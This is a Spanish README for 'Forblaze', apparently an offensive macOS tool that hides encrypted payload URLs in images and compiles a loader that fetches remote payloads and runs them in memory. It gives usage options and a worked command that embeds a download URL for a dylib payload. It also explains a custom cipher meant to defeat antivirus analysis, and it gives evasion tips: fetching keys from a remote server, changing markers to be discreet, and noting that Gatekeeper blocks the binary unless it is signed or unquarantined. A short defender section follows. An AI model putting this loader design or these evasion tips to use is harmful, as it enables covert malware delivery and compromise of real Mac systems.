
Forblaze - Un generador de payloads de esteganografía para Mac en Python
Autor: AsaurusRex
NO utilice este proyecto para fines distintos a trabajos legítimos de red team/pentesting o investigación. NO lo utilice para actividades ilegales de ningún tipo, y sepa que este proyecto está destinado a fines de investigación y para ayudar a avanzar en las misiones tanto de los equipos rojos como azules.
Para la publicación del blog sobre Forblaze, consulte https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571
Forblaze es un proyecto diseñado para proporcionar capacidades de esteganografía a los payloads de Mac OS. Usando python3, construirá un archivo Obj-C para usted que será compilado para extraer URLs cifradas deseadas del archivo stego, obtener payloads a través de https y ejecutarlos directamente en memoria. Utiliza cifrado personalizado: no es criptográficamente seguro, sino puramente para frustrar el análisis de los motores antivirus. Es una ligera desviación de mi cifrado personalizado previamente construido para Windows, llamado Rubicon, y es más simple en la práctica. Forblaze utiliza bytes de cabecera y pie para identificar dónde se encuentran sus bytes cifrados en el archivo stego, y luego los descifra con una clave codificada en compile_forblaze.m. Esta clave se puede guardar y reutilizar, con el efecto de que se podría usar una URL diferente para obtener un payload diferente, y el mismo forblaze compilado aún debería poder ejecutarlo y procesarlo (siempre que los bytes de cabecera y pie no se modifiquen, y el nuevo archivo stego se cargue en la ubicación correcta).
Python3 (solo probado con Python3.9+), y algunas bibliotecas de Python asociadas - pip3 debería encargarse de cualquier dependencia de Python que necesite. Además, se usará clang para la compilación, y forblaze debe ejecutarse en un mac para que pueda compilarse correctamente.
usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
Generar stego para implantes.
argumentos opcionales:
-h, --help mostrar este mensaje de ayuda y salir
-innocent_path PATH Proporcione la ruta completa al archivo inocente que se usará.
-o OUTPUT Proporcione la ruta donde desea que se coloque su archivo stego.
-len_key LENGTH_OF_KEY Proporcione un entero positivo que será la longitud de la clave en bytes. El valor predeterminado es 16. Debe estar entre 10 y 150 bytes.
-url_to_encrypt URL Proporcione la URL que desea incrustar dentro del archivo de compilación.
-supply_key SUPPLIED_KEY Si desea usar una clave específica, proporcione aquí. Debe estar en el formato: -supply_key "\x6e\x60\x..." - es decir, se necesitan dos barras invertidas dobles entre cada byte, de lo contrario NO FUNCIONARÁ.
-stego_location STEGO_LOCATION Debe proporcionar una ubicación en el objetivo donde residirá el archivo stego. Es aconsejable seguir rutas completas estrictas: por ejemplo, /Users/<>/Documents/file.jpg.
-compiled_binary COMPILED_BINARY Proporcione el nombre del binario compilado para extraer la URL y ejecutar el código en memoria desde el archivo stego. El valor predeterminado es forblaze.
-method METHOD Seleccione qué método desea usar. El método 1 se basa en ejecutar un dylib directamente en memoria y funciona con payloads Go así como con payloads normales. El método 2 se basa en ejecutar un archivo macho directamente en memoria, pero no funciona con payloads compilados con Go. El método 3 es el método 1 pero se basa en obtener la clave de descifrado a través de un servidor, lo que es más amigable con la opsec. El método predeterminado es 1. NOTA: Es posible que aún necesite editar el 'módulo' (también conocido como RunMain) manualmente dependiendo de su método de ejecución.
-key_url KEY_URL Proporcione la URL de la clave para descifrar el archivo stego.
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
Honestamente, no muchas. Las detecciones de Mac OS siguen siendo bastante pobres, especialmente para la actividad en memoria. Como ejercicio para el lector, también podría llamar directamente a los bytes del payload en lugar de una URL con algunas modificaciones ligeras a este código. Sin embargo, dependiendo del tamaño de su payload, la pieza de cifrado en el script de Python podría tomar un tiempo inaceptablemente largo para completarse.
Nota: dado que este código se compila en un binario Mach-O (no un dylib, aunque eso se puede cambiar fácilmente en el código), controles como Gatekeeper evitarán que se ejecute por defecto a menos que pueda firmar el payload o eliminar el atributo de cuarentena.
Recomendaría cambiar cosas como la cantidad de bytes aleatorios generados del valor predeterminado, y cambiar los bytes de cabecera y pie predeterminados que forblaze usa para encontrar el payload en el archivo stego (así como la longitud de esos bytes de cabecera y pie para que sean quizás más discretos).
Para la mejor OpSec, recomiendo obtener su clave de descifrado de un servidor externo que controle; entonces puede controlar estrictamente el acceso a esa clave, haciendo la ingeniería inversa mucho más difícil.
La esteganografía es bastante difícil de detectar. Si sabe dónde está el archivo stego, puede comenzar a extraer los bytes sospechosos después del final del EOF normal del archivo (por ejemplo, después de "FFD9" para jpegs). Estos bytes sospechosos aún incluirán el payload cifrado real y bytes aleatorios sin sentido, que serían difíciles de distinguir entre sí a menos que posea los bytes de cabecera y pie especificados por Forblaze. Podría examinar estos bytes y buscar patrones de bytes repetidos, ya que así es como tienden a funcionar los bytes de cabecera y pie con forblaze, pero un operador experto podría hacer que sea más difícil de encontrar que el valor predeterminado. Si se captura un payload, obviamente podría hacer ingeniería inversa del binario e intentar localizar el archivo stego, y luego tratar de usar la clave codificada y los encabezados/pies para revertir la URL que se está llamando (u otros bytes). Pero todo eso asume que encontró el binario por otros medios.
Esta herramienta se ha probado en varias versiones de Mac OS, incluyendo Big Sur y Catalina (sistemas x64). Por favor, hágamelo saber si tiene problemas.
El cifrado personalizado es un cifrado César básico, donde diferentes bytes de la clave se usan para desplazar los bytes de su texto plano. Por eso las claves más grandes NO son NECESARIAMENTE mejores para su cifrado: depende de la longitud de su texto plano. Si su texto plano tiene 50 bytes y usa una clave de 150 bytes, solo se usarán los primeros 50 bytes de su clave. Sin embargo, si su texto plano tiene más de 150 bytes, las claves más largas serían más seguras.
La esteganografía es bastante simple: los bytes de su archivo inocente original se mantienen igual, y se agregan bytes aleatorios (junto con sus bytes de payload cifrados) después de estos bytes. Estos bytes aleatorios tienen por defecto una longitud entre 2 y 2000 (esto probablemente debería cambiarse para que se ajuste al tamaño de su texto plano -> los textos planos más grandes deberían significar que se generen más bytes aleatorios).
La parte de ejecución en memoria sigue https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, así como el cargador maisal (no puedo encontrar el enlace en este momento), con el simple cambio de que en lugar de leer los bytes del payload de un archivo en disco, se leen a través de http/https.
¡Estoy muy abierto a recibir comentarios y a la colaboración! Espero que esto ayude a generar una discusión útil sobre el tema de la criptografía personalizada, o proporcione a los investigadores algunas nuevas perspectivas.